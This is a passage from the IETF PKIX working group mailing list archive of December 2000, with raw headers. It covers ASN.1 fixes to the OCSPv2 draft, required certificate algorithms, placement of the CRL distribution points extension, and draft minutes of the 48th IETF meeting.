elsewhere in the module, and they tend to make the ASN.1 more difficult to read. Suggest removing the text "EXPLICIT" from all places in this standard except for the one occurrence needed in the OCSP module definition statement. [5] The comment on the definition of type UnknownInfo should be removed, as it will likely lead to problems of interworking between applications. If it is desired that both NULL and ENUMERATED be allowed, I suggest that type UnknownInfo be defined explicitly as a CHOICE type. Phil ---- Phillip H. Griffin Griffin Consulting http://asn-1.com Secure ASN.1 Design & Implementation +1-919-832-7008 1625 Glenwood Avenue, Five Points +1-919-832-7390 [fax] Raleigh, North Carolina 27608 USA ------------------------------------------------------------ From owner-ietf-pkix@imc.org Tue Dec 12 20:48:40 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA02367 for ; Tue, 12 Dec 2000 20:48:40 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id RAA23266; Tue, 12 Dec 2000 17:45:20 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 17:45:03 -0800 Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA23235 for ; Tue, 12 Dec 2000 17:45:02 -0800 (PST) Received: from revelation (ietf.207.137.72.86.tx.verio.net [207.137.72.86]) by ns1.49thietf.org (8.9.3+Sun/8.9.3) with SMTP id RAA06421 for ; Tue, 12 Dec 2000 17:47:40 -0800 (PST) Reply-To: From: "Jim Schaad" To: "IETF-PKIX \(E-mail\)" Subject: Required Algorithms for Certificates Date: Tue, 12 Dec 2000 17:45:55 -0800 Message-ID: <000001c064a6$7f8ab780$564889cf@soaringhawk.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) again, I remembered that I did have one problem with the draft. I think that it is fine that the certificate structure draft does not contain algorithm information. However I feel that the algorithms draft needs to have some MUST style statements contained in it. I propose adding the following text: To fully comply with this document, implementations MUST support DSA Signature (section 2.2.2). Implementations MAY support MD2 RSA signatures for validation but MUST NOT create new certificates using this algorithm. Implementations MAY support all other algorithms in this document at their discretion. jim schaad From owner-ietf-pkix@imc.org Tue Dec 12 21:49:14 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA16334 for ; Tue, 12 Dec 2000 21:49:13 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA25099; Tue, 12 Dec 2000 18:45:19 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 18:45:11 -0800 Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA25061 for ; Tue, 12 Dec 2000 18:45:05 -0800 (PST) Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id ; Tue, 12 Dec 2000 21:47:47 -0500 Message-ID: <8D7EC1912E25D411A32100D0B76953975424BE@scygmxs01.cygnacom.com> From: Santosh Chokhani To: Russ Housley , "Jayant Sane (Exchange)" Cc: Pkix List Subject: RE: Question about CRL DP Date: Tue, 12 Dec 2000 21:41:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C064AE.2FE7C760" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C064AE.2FE7C760 Content-Type: text/plain; charset="iso-8859-1" RFC 2459 is weak in the area of CRL DP processing. If you want to do this securely, please look at Annex B in Draft 2000 version of X.509 standard -----Original Message----- From: Russ Housley [mailto:housley@spyrus.com] Sent: Tuesday, December 12, 2000 8:36 AM To: Jayant Sane (Exchange) Cc: Pkix List Subject: Re: Question about CRL DP RFC 2459, section 4.2.1.14 says: The CRL distribution points extension identifies how CRL information is obtained. The extension SHOULD be non-critical, but this profile recommends support for this extension by CAs and applications. Further discussion of CRL management is contained in section 5. If the cRLDistributionPoints extension contains a DistributionPointName of type URI, the following semantics MUST be assumed: the URI is a pointer to the current CRL for the associated reasons and will be issued by the associated cRLIssuer. The expected values for the URI are those defined in 4.2.1.7. Processing rules for other values are not defined by this specification. If the distributionPoint omits reasons, the CRL MUST include revocations for all reasons. If the distributionPoint omits cRLIssuer, the CRL MUST be issued by the CA that issued the certificate. We should probably be more explicit in the first sentence. The CRL DP extension tells how to obtain CRL information for the certificate that contains the extension. I will try to improve the sentence before son-of-RFC 2459 goes to last call. Russ At 03:52 PM 12/11/2000 -0500, Jayant Sane wrote: >This might be a naive question. > >Is it allowed/std practice to put the CRLDP extension in the issuer(CA) >cert such that the crl pointed to contains/lists revoked end-entity certs >(issued by it). >I came across following certificate. >End-entity cert has an AIA extension pointing to its issuer cert and the >issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to >a CRL containing end-entity certs. The specs have'nt been very clear on >the placement of this extension (unless I am overlooking something) -- >whether it is more appropriate to put the CRLDP in the end-entity cert >itself as compared to the CA cert. >The one in the CA could be interpreted as one pointing to the CRL issued >its issuer. > >Some clarification would be greatly appreciated. > >thanks, >Jayant ------_=_NextPart_001_01C064AE.2FE7C760 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Question about CRL DP

RFC 2459 is weak in the area of CRL DP = processing.  If you want to do this securely, please look at Annex = B in Draft 2000 version of X.509 standard

-----Original Message-----
From: Russ Housley [mailto:housley@spyrus.com]=
Sent: Tuesday, December 12, 2000 8:36 AM
To: Jayant Sane (Exchange)
Cc: Pkix List
Subject: Re: Question about CRL DP


RFC 2459, section 4.2.1.14 says:

    The CRL distribution points = extension identifies how CRL information
    is obtained.  The extension = SHOULD be non-critical, but this profile
    recommends support for this = extension by CAs and applications.
    Further discussion of CRL = management is contained in section 5.

    If the cRLDistributionPoints = extension contains a
    DistributionPointName of type = URI, the following semantics MUST be
    assumed: the URI is a pointer to = the current CRL for the associated
    reasons and will be issued by the = associated cRLIssuer.  The expected
    values for the URI are those = defined in 4.2.1.7. Processing rules for
    other values are not defined by = this specification.  If the
    distributionPoint omits reasons, = the CRL MUST include revocations for
    all reasons. If the = distributionPoint omits cRLIssuer, the CRL MUST
    be issued by the CA that issued = the certificate.

We should probably be more explicit in the first = sentence.  The CRL DP
extension tells how to obtain CRL information for = the certificate that
contains the extension.  I will try to improve = the sentence before
son-of-RFC 2459 goes to last call.

Russ

At 03:52 PM 12/11/2000 -0500, Jayant Sane = wrote:
>This might be a naive question.
>
>Is it allowed/std practice to put the CRLDP = extension in the issuer(CA)
>cert such that the crl pointed to contains/lists = revoked end-entity certs
>(issued by it).
>I came across following certificate.
>End-entity cert has an AIA extension pointing to = its issuer cert and the
>issuer cert has both AIA, to its issuer, and = CRLDP persumably pointing to
>a CRL containing end-entity certs. The specs = have'nt been very clear on
>the placement of this extension (unless I am = overlooking something) --
>whether it is more appropriate to put the CRLDP = in the end-entity cert
>itself as compared to the CA cert.
>The one in the CA could be interpreted as one = pointing to the CRL issued
>its issuer.
>
>Some clarification would be greatly = appreciated.
>
>thanks,
>Jayant

------_=_NextPart_001_01C064AE.2FE7C760-- From owner-ietf-pkix@imc.org Wed Dec 13 01:51:08 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA19954 for ; Wed, 13 Dec 2000 01:51:08 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id WAA29859; Tue, 12 Dec 2000 22:47:52 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 22:47:44 -0800 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA29826 for ; Tue, 12 Dec 2000 22:47:44 -0800 (PST) Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id WAA20698; Tue, 12 Dec 2000 22:51:58 -0800 (PST) Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id ; Tue, 12 Dec 2000 22:50:18 -0800 Message-ID: <2F3EC696EAEED311BB2D009027C3F4F4020DC2D1@vhqpostal.verisign.com> From: Michael Myers To: phil.griffin@asn-1.com, pkix list Subject: RE: Comments on draft-ietf-pkix-ocspv2-01 Date: Tue, 12 Dec 2000 22:50:16 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Phil, Many thanks for your detailed analysis. We'll fold this into the -02 (and with hope, final) draft for WG consideration. Mike > -----Original Message----- > From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com] > Sent: Tuesday, December 12, 2000 8:57 AM > To: pkix list > Subject: Comments on draft-ietf-pkix-ocspv2-01 > > > Following are comments on minor glitches I found in > the OCSP ASN.1 module in draft-ietf-pkix-ocspv2-01.txt. > > > [1] The definition of type OCSPResponseStatus is in > error due to style. A comment "--No more data available }" > makes the required trailing "}" missing: > > OCSPResponseStatus ::= ENUMERATED { > snip > noMoreData (7) --No more data available } > > Suggest changing the comment to bind this text with a > second trailing "--" to yield "--No more data available -- }" > > [2] The OCSP module attempts to import type CRLReason > from X.509 module AuthenticationFramework. But this > enumerated type is not defined in that module, but is > defined in the X.509 module CertificateExtensions { > joint-iso-itu-t ds(5) module(1) > certificateExtensions(26) 4 } > > Suggested change follows. > > Note that the X.509 AuthenticationFramework module > defines well known ASN.1 types required by the OCSP > module, but which are imported from elsewhere. Types > CertificateSerialNumber and Extensions should be > imported from the AuthenticationFramework module. > > Suggested change follows. > > The OCSP module attempts to import types GeneralName > and Name from a module that has an EXPLICIT tags > default. But type Name is defined in the X.501 > InformationFramework module, which has an IMPLICIT > tags default. Type GeneralName is defined in the > X.509 CertificateExtensions module which also has > an IMPLICIT tags default, and type GeneralName is > not defined in the PKIX1Explicit88 module that is > referenced by OCSP. > > Suggested change follows. > > Note that in the OCSP IMPORTS statement, the current > version (4th edition) of the Directory standards are > not referenced. > > Suggest changing the OCSP IMPORTS statement to the > following: > > > -- Directory Information Framework (X.501) -- > > Name > FROM InformationFramework { > joint-iso-itu-t ds(5) module(1) informationFramework(1) 3 } > > -- Directory Authentication Framework (X.509) -- > > AlgorithmIdentifier, Certificate, CertificateSerialNumber, > Extensions > FROM AuthenticationFramework { > joint-iso-itu-t ds(5) module(1) > authenticationFramework(7) 4 } > > -- Directory Certificate Extensions (X.509) -- > > CRLReason, GeneralName > FROM CertificateExtensions { > joint-iso-itu-t ds(5) module(1) > certificateExtensions(26) 4 } > > -- PKIX (RFC 2459) -- > > AuthorityInfoAccessSyntax > FROM PKIX1Implicit93 { > iso(1) identified-organization(3) dod(6) internet(1) > security(5) mechanisms(5) pkix(7) id-mod(0) > id-pkix1-implicit-93(4) } > > id-ad-ocsp, id-kp > FROM PKIX1Explicit93 { > iso(1) identified-organization(3) dod(6) internet(1) > security(5) mechanisms(5) pkix(7) id-mod(0) > id-pkix1-explicit-93(3) } > > -- Cryptographic Message Syntax > > IssuerAndSerialNumber > FROM CryptographicMessageSyntax { > iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) > pkcs-9(9) smime(16) modules(0) cms(1) }; > > [3] Type ReqCert references type IssuerandSerialNumber (note > lowercase "and") in both the document text and the ASN.1 > module. But the OCSP module imports IssuerAndSerialNumber. > > Suggest changing this spelling to "And" in both places. > > [4] The definition of module OCSP specifies an EXPLICIT > tags default. This means that none of the uses of the > EXPLICIT tagging modifier are needed elsewhere in the > module, and they tend to make the ASN.1 more difficult > to read. > > Suggest removing the text "EXPLICIT" from all places > in this standard except for the one occurrence needed > in the OCSP module definition statement. > > [5] The comment on the definition of type UnknownInfo > should be removed, as it will likely lead to problems > of interworking between applications. If it is desired > that both NULL and ENUMERATED be allowed, I suggest > that type UnknownInfo be defined explicitly as a > CHOICE type. > > Phil > ---- > Phillip H. Griffin Griffin Consulting > http://asn-1.com Secure ASN.1 Design & Implementation > +1-919-832-7008 1625 Glenwood Avenue, Five Points > +1-919-832-7390 [fax] Raleigh, North Carolina 27608 USA > ------------------------------------------------------------ > From owner-ietf-pkix@imc.org Wed Dec 13 12:22:09 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16253 for ; Wed, 13 Dec 2000 12:22:09 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA05729; Wed, 13 Dec 2000 09:17:58 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 09:16:36 -0800 Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA05657 for ; Wed, 13 Dec 2000 09:16:35 -0800 (PST) Received: from RHOUSLEY-PC.spyrus.com (ietf.207.137.71.200.tx.verio.net [207.137.71.200]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id JAA00305; Wed, 13 Dec 2000 09:18:35 -0800 (PST) Message-Id: <5.0.1.4.2.20001212121452.02981ad8@mail.spyrus.com> X-Sender: rhousley@mail.spyrus.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Tue, 12 Dec 2000 12:17:36 -0500 To: Sharon Boeyen From: Russ Housley Subject: RE: Question about CRL DP Cc: "'Jayant Sane (Exchange)'" , Pkix List In-Reply-To: Mime-Version: 1.0 Content-Type: text/html; charset="us-ascii" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Sharon:

Thanks for the more complete answer than the one that I posted.  And, we gave consistent answers.

Russ

At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:
The CRL distribution points extension can appear in either a CA-certificate or an end-entity certificate. Regardless of the certificate type, the revocation list pointed to is one that would list the certificate (if it had been revoked) that contains the extension. So, if you find the extension in a CA-certificate it is pointing to an ARL (or a CRL that contains revocation notices for CA-certificates). While it is possible that the revocation list being pointed to also contains revocation notices for end-entity certs, you can't assume that from this instance of the extension. That would be indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon
-----Original Message-----
From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP

This might be a naive question.
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert such that the crl pointed to contains/lists revoked end-entity certs (issued by it).
I came across following certificate.
End-entity cert has an AIA extension pointing to its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a CRL containing end-entity certs. The specs have'nt been very clear on the placement of this extension (unless I am overlooking something) -- whether it is more appropriate to put the CRLDP in the end-entity cert itself as compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its issuer.
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant
From owner-ietf-pkix@imc.org Wed Dec 13 12:35:18 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17815 for ; Wed, 13 Dec 2000 12:35:18 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA06295; Wed, 13 Dec 2000 09:30:40 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 09:30:38 -0800 Received: from pdcfairfax.elock.com ([63.83.231.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA06265 for ; Wed, 13 Dec 2000 09:30:37 -0800 (PST) Received: from ROCK207 ([63.83.231.21]) by pdcfairfax.elock.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id X6T46509; Wed, 13 Dec 2000 12:28:54 -0500 Message-ID: <018201c0652a$3b03a3e0$15e7533f@elock.com> From: "Jayant Sane \(Exchange\)" To: "Pkix List" References: <5.0.1.4.2.20001212121452.02981ad8@mail.spyrus.com> Subject: Re: Question about CRL DP Date: Wed, 13 Dec 2000 12:29:20 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_017F_01C06500.516D5920" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_017F_01C06500.516D5920 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thanks everyone. That clarified things. It appears that I may need to = make a special case :-( for processing the paritcular case I = encountered.... Jayant ----- Original Message -----=20 From: Russ Housley=20 To: Sharon Boeyen=20 Cc: 'Jayant Sane (Exchange)' ; Pkix List=20 Sent: Tuesday, December 12, 2000 12:17 PM Subject: RE: Question about CRL DP Sharon: Thanks for the more complete answer than the one that I posted. And, = we gave consistent answers. Russ At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote: The CRL distribution points extension can appear in either a = CA-certificate or an end-entity certificate. Regardless of the = certificate type, the revocation list pointed to is one that would list = the certificate (if it had been revoked) that contains the extension. = So, if you find the extension in a CA-certificate it is pointing to an = ARL (or a CRL that contains revocation notices for CA-certificates). = While it is possible that the revocation list being pointed to also = contains revocation notices for end-entity certs, you can't assume that = from this instance of the extension. That would be indicated separately = in the end-entity certs themselves. =20 Hope this helps Sharon -----Original Message----- From: Jayant Sane (Exchange) [mailto:jayant@eLock.com] Sent: Monday, December 11, 2000 3:52 PM To: Pkix List Subject: Question about CRL DP This might be a naive question.=20 =20 Is it allowed/std practice to put the CRLDP extension in the = issuer(CA) cert such that the crl pointed to contains/lists revoked = end-entity certs (issued by it).=20 I came across following certificate.=20 End-entity cert has an AIA extension pointing to its issuer cert = and the issuer cert has both AIA, to its issuer, and CRLDP persumably = pointing to a CRL containing end-entity certs. The specs have'nt been = very clear on the placement of this extension (unless I am overlooking = something) -- whether it is more appropriate to put the CRLDP in the = end-entity cert itself as compared to the CA cert. The one in the CA could be interpreted as one pointing to the CRL = issued its issuer.=20 =20 Some clarification would be greatly appreciated. =20 thanks, Jayant ------=_NextPart_000_017F_01C06500.516D5920 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Thanks everyone. That clarified things. = It appears=20 that I may need to make a special case :-( for processing the = paritcular=20 case I encountered....
 
Jayant
----- Original Message -----
From:=20 Russ = Housley=20
To: Sharon=20 Boeyen
Cc: 'Jayant Sane (Exchange)' ; Pkix = List
Sent: Tuesday, December 12, = 2000 12:17=20 PM
Subject: RE: Question about CRL = DP

Sharon:

Thanks for the more complete answer than = the one=20 that I posted.  And, we gave consistent = answers.

Russ

At=20 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:
 ------=_NextPart_000_017F_01C06500.516D5920-- From owner-ietf-pkix@imc.org Wed Dec 13 16:49:13 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA27734 for ; Wed, 13 Dec 2000 16:49:12 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA21791; Wed, 13 Dec 2000 13:44:25 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 13:44:14 -0800 Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA21756 for ; Wed, 13 Dec 2000 13:44:13 -0800 (PST) Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id ; Wed, 13 Dec 2000 16:46:57 -0500 Message-ID: From: Sharon Boeyen To: "'Russ Housley'" , Sharon Boeyen Cc: "'Jayant Sane (Exchange)'" , Pkix List Subject: RE: Question about CRL DP Date: Wed, 13 Dec 2000 16:47:11 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0654E.3F6D5C40" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0654E.3F6D5C40 Content-Type: text/plain; charset="iso-8859-1" Whew, its good when that happens - one less defect report we need to write to clarify the standard :-) -----Original Message----- From: Russ Housley [mailto:housley@spyrus.com] Sent: Tuesday, December 12, 2000 12:18 PM To: Sharon Boeyen Cc: 'Jayant Sane (Exchange)'; Pkix List Subject: RE: Question about CRL DP Sharon: Thanks for the more complete answer than the one that I posted. And, we gave consistent answers. Russ At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote: The CRL distribution points extension can appear in either a CA-certificate or an end-entity certificate. Regardless of the certificate type, the revocation list pointed to is one that would list the certificate (if it had been revoked) that contains the extension. So, if you find the extension in a CA-certificate it is pointing to an ARL (or a CRL that contains revocation notices for CA-certificates). While it is possible that the revocation list being pointed to also contains revocation notices for end-entity certs, you can't assume that from this instance of the extension. That would be indicated separately in the end-entity certs themselves. Hope this helps Sharon -----Original Message----- From: Jayant Sane (Exchange) [ mailto:jayant@eLock.com ] Sent: Monday, December 11, 2000 3:52 PM To: Pkix List Subject: Question about CRL DP This might be a naive question. Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert such that the crl pointed to contains/lists revoked end-entity certs (issued by it). I came across following certificate. End-entity cert has an AIA extension pointing to its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a CRL containing end-entity certs. The specs have'nt been very clear on the placement of this extension (unless I am overlooking something) -- whether it is more appropriate to put the CRLDP in the end-entity cert itself as compared to the CA cert. The one in the CA could be interpreted as one pointing to the CRL issued its issuer. Some clarification would be greatly appreciated. thanks, Jayant ------_=_NextPart_001_01C0654E.3F6D5C40 Content-Type: text/html; charset="iso-8859-1"
Whew, its good when that happens - one less defect report we need to write to clarify the standard :-)
-----Original Message-----
From: Russ Housley [mailto:housley@spyrus.com]
Sent: Tuesday, December 12, 2000 12:18 PM
To: Sharon Boeyen
Cc: 'Jayant Sane (Exchange)'; Pkix List
Subject: RE: Question about CRL DP

Sharon:

Thanks for the more complete answer than the one that I posted.  And, we gave consistent answers.

Russ

At 08:20 AM 12/12/2000 -0500, Sharon Boeyen wrote:
The CRL distribution points extension can appear in either a CA-certificate or an end-entity certificate. Regardless of the certificate type, the revocation list pointed to is one that would list the certificate (if it had been revoked) that contains the extension. So, if you find the extension in a CA-certificate it is pointing to an ARL (or a CRL that contains revocation notices for CA-certificates). While it is possible that the revocation list being pointed to also contains revocation notices for end-entity certs, you can't assume that from this instance of the extension. That would be indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon
-----Original Message-----
From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP

This might be a naive question.
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert such that the crl pointed to contains/lists revoked end-entity certs (issued by it).
I came across following certificate.
End-entity cert has an AIA extension pointing to its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a CRL containing end-entity certs. The specs have'nt been very clear on the placement of this extension (unless I am overlooking something) -- whether it is more appropriate to put the CRLDP in the end-entity cert itself as compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its issuer.
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant
------_=_NextPart_001_01C0654E.3F6D5C40-- From owner-ietf-pkix@imc.org Wed Dec 13 22:16:57 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA02034 for ; Wed, 13 Dec 2000 22:16:56 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id TAA04470; Wed, 13 Dec 2000 19:13:17 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 19:12:58 -0800 Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id TAA04428 for ; Wed, 13 Dec 2000 19:12:57 -0800 (PST) Received: from [128.33.238.40] (TC040.BBN.COM [128.33.238.40]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id WAA03211; Wed, 13 Dec 2000 22:12:24 -0500 (EST) Mime-Version: 1.0 X-Sender: kent@po1.bbn.com (Unverified) Message-Id: Date: Wed, 13 Dec 2000 22:03:01 -0500 To: ietf-pkix From: Stephen Kent Subject: meeting minutes Cc: jis@mit.edu Content-Type: multipart/alternative; boundary="============_-1235358777==_ma============" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --============_-1235358777==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" Folks, Here are the draft meeting minutes from PKIX. Please reply with corrections by 12/31. Pardon the text alignment problems in this version. The final version will fix those problems. Also, all speakers who would like their slides included in the IETF archive for this meeting should e-mail them to me (as power point files) over the next 2 weeks. Thanks, Steve ---------------------------------------------------------------------- PKIX WG Meeting 12/12-13/00 Edited by Steve Kent (WG co-chairs) The PKIX WG met twice during the 48th IETF. A total of approximately 200 individuals participated in the first meeting, and about 150 in the second. Day 1 (12/12/00) Tim quickly reviewed the agenda and document status, noting that there are 20 I-Ds in progress. (see slides) Qualified Certificates Profile - Stefan Santesson (Addtrust) This document has been approved as a Standards track RFC and is currently in the editors queue. Stefan briefly discussed the status of the corresponding ETSI specification that refers to this RFC. In a new item, Stefan briefly discussed the idea of a new extension that could be used to refer (with integrity) to corporate logos for subjects and issuers, as an aid to users when they display certificates. Steve Kent expressed some concern that such graphics might undermine the security offered by the name constraints extension, IF a CA accidentally or maliciously binds a logo to a name which is not really related to the name. Attribute Certificate Profile - Steve Farrell (Baltimore) This document has been through working group Last Call and is currently under Area Director Review. Steve described the status of this document, including changes made as a consequence of Last Call. Denis alluded to a problem in the base ISO spec which has been inherited by the PKIX document. Data Validation and Certification Server - Carlisle Adams (Entrust) This document has been approved as a Experimental track RFC and is currently in the editing queue. Time Stamp Protocols (TSP) - Denis Pinkas (Bull) This document has been through working group Last Call and is currently under Area Director Review. Denis described the changes made to the TSP specification as a consequence of Last Call, and the creation of an appendix to specify the SIA extension. This appendix is a temporary one, and the SIA extension will later be moved to RFC 2459bis, when then document is issued. ETSI will work on a TSP security policy document, analogous to one ETSi is working on for CA security policy. Denis offers to initiate further work, to specify a set of standard TSA policies. This would require a mod to the current PKIX charter. Permanent Identifier - Denis Pinkas (Bull) This document is stable and ready for progression as an RFC. The question before the WG is what status should be attached to the document, i.e., standards track, informational, or experimental? A quick poll of attendees suggests support for standards track, but since the number of folks who claim familiarity with the document was small, we will bring this to the list for a straw poll for final resolution. Bob Moskowitz cited a potential problem with current CA implementations, if one tried to request a certificate with a new name, signing the request with a key bound to a certificate with a different name. Technical Non-Repudiation - Tom Gindin (IBM) This document is ready to proceed as an Informational track specification. Denis presented a few slides raising issues that he feels need to be addressed prior to publication as information. For example, he notes that ETSI has a standard for 1-way NR which is viewed as sufficient for legal NR purposes, not consistent with this draft. Denis will correspond with Tom to resolve this and related issues. Delegated Path Validation & Discovery Services - Steve Kent (BBN) The working group has been presented with two alternative Proposals: Simple Certificate Validation Protocol (SCVP) and extensions to OCSP (v2) for Delegated path Discovery and Validation. Steve Kent presented a proposed set of criteria, and associated rationales, for use in evaluating these competing proposals. Steve will follow up with an extended message on the topic to the mailing list, to establish consensus for selection criteria. Day 2 (12/13/00) CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs) Bob has been organizing interoperability testing for CRMF/CMP Implementations. This testing will support the progression of CMP and CRMF to Draft standard. Bob discussed results of recent test activities, which are leading to an interoperability test report. Certificate Management Protocol (CMP) - Carlisle Adams (Entrust) This document incorporates clarifications to RFC 2510. These changes are proposed as a result of interoperability testing. This specification is ready for Last Call and progression of CMP to Draft Standard. The editors believe that the changes made from the previous version are minor and thus the document should progress to DRAFT standard. Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) This document incorporates clarifications to RFC 2511. These changes are proposed as a result of interoperability testing. This specification is now ready for Last Call and progression of CRMF to Draft Standard. Certificate and CRL Profile revisions - Russ Housley (SPYRUS) This document is the follow-up to RFC 2459. A new draft of this document has been published. The document is ready for Working Group Last Call, modulo a difference of opinion between X.509 and PKIX re name constraints. It is not clear whether we can achieve agreement with X.509 